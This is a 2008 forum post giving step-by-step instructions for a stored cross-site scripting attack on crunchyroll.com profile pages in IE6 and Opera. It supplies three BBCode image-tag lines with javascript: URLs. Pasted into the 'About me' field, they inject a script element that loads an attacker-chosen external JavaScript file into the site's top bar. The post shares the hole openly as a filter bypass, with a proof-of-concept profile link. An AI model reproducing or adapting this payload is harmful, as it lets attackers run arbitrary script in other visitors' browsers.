[quote][color=red][b]important notice:[/b][/color] the all browser linker has been filtered. apparently, shinji is good at filtering
![:wasted:](img/smilies/noway.gif)
ehehe
![:ninja:](img/smilies/ninja.gif)
I wonder how he knew it was vulnerable so quickly...[/quote]
[url=http://www.crunchyroll.com/user/shakiro214][b]proof-of-concept[/b][/url]
![:|](img/smilies/blank.gif)
[b]crunchyroll.com[/b] - IE6 & Opera
![:thumbsup:](img/smilies/thumbsup.gif)
[b]Step 1:[/b] goto hole
* Click
![:arrow:](img/smilies/point.gif)
[b]Edit Profile[/b]
[b]Step 2:[/b] copy & paste to about me
[quote][img]javascript:ta=document.createElement('script')[/img]
[img]javascript:ta.src='URL_TO_JS.txt'[/img]
[img]javascript:topbar_firstrow.appendChild(ta)[/img][/quote]
* just replace the [b]URL_TO_JS.txt[/b]
shakiro dash! ~~~
Last edited by shakiro214 (2008-04-29 04:42:15)